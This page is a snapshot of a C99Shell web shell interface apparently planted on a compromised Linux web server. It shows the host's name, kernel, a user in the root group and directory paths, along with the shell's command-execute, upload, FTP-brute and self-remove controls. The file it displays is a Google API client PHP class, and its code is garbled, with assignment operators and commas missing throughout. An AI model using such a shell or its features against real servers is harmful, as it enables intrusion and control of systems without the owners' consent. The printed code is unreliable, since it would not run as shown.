!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/google/apiclient/src/AuthHandler/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Guzzle6AuthHandler.php (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Google\AuthHandler;

use 
Google\Auth\CredentialsLoader;
use 
Google\Auth\FetchAuthTokenCache;
use 
Google\Auth\HttpHandler\HttpHandlerFactory;
use 
Google\Auth\Middleware\AuthTokenMiddleware;
use 
Google\Auth\Middleware\ScopedAccessTokenMiddleware;
use 
Google\Auth\Middleware\SimpleMiddleware;
use 
GuzzleHttp\Client;
use 
GuzzleHttp\ClientInterface;
use 
Psr\Cache\CacheItemPoolInterface;

/**
 * This supports Guzzle 6
 */
class Guzzle6AuthHandler
{
    protected 
$cache;
    protected 
$cacheConfig;

    public function 
__construct(CacheItemPoolInterface $cache null, array $cacheConfig = [])
    {
        
$this->cache $cache;
        
$this->cacheConfig $cacheConfig;
    }

    public function 
attachCredentials(
        
ClientInterface $http,
        
CredentialsLoader $credentials,
        callable 
$tokenCallback null
    
) {
        
// use the provided cache
        
if ($this->cache) {
            
$credentials = new FetchAuthTokenCache(
                
$credentials,
                
$this->cacheConfig,
                
$this->cache
            
);
        }

        return 
$this->attachCredentialsCache($http$credentials$tokenCallback);
    }

    public function 
attachCredentialsCache(
        
ClientInterface $http,
        
FetchAuthTokenCache $credentials,
        callable 
$tokenCallback null
    
) {
        
// if we end up needing to make an HTTP request to retrieve credentials, we
        // can use our existing one, but we need to throw exceptions so the error
        // bubbles up.
        
$authHttp $this->createAuthHttp($http);
        
$authHttpHandler HttpHandlerFactory::build($authHttp);
        
$middleware = new AuthTokenMiddleware(
            
$credentials,
            
$authHttpHandler,
            
$tokenCallback
        
);

        
$config $http->getConfig();
        
$config['handler']->remove('google_auth');
        
$config['handler']->push($middleware'google_auth');
        
$config['auth'] = 'google_auth';
        
$http = new Client($config);

        return 
$http;
    }

    public function 
attachToken(ClientInterface $http, array $token, array $scopes)
    {
        
$tokenFunc = function ($scopes) use ($token) {
            return 
$token['access_token'];
        };

        
$middleware = new ScopedAccessTokenMiddleware(
            
$tokenFunc,
            
$scopes,
            
$this->cacheConfig,
            
$this->cache
        
);

        
$config $http->getConfig();
        
$config['handler']->remove('google_auth');
        
$config['handler']->push($middleware'google_auth');
        
$config['auth'] = 'scoped';
        
$http = new Client($config);

        return 
$http;
    }

    public function 
attachKey(ClientInterface $http$key)
    {
        
$middleware = new SimpleMiddleware(['key' => $key]);

        
$config $http->getConfig();
        
$config['handler']->remove('google_auth');
        
$config['handler']->push($middleware'google_auth');
        
$config['auth'] = 'simple';
        
$http = new Client($config);

        return 
$http;
    }

    private function 
createAuthHttp(ClientInterface $http)
    {
        return new 
Client(['http_errors' => true] + $http->getConfig());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--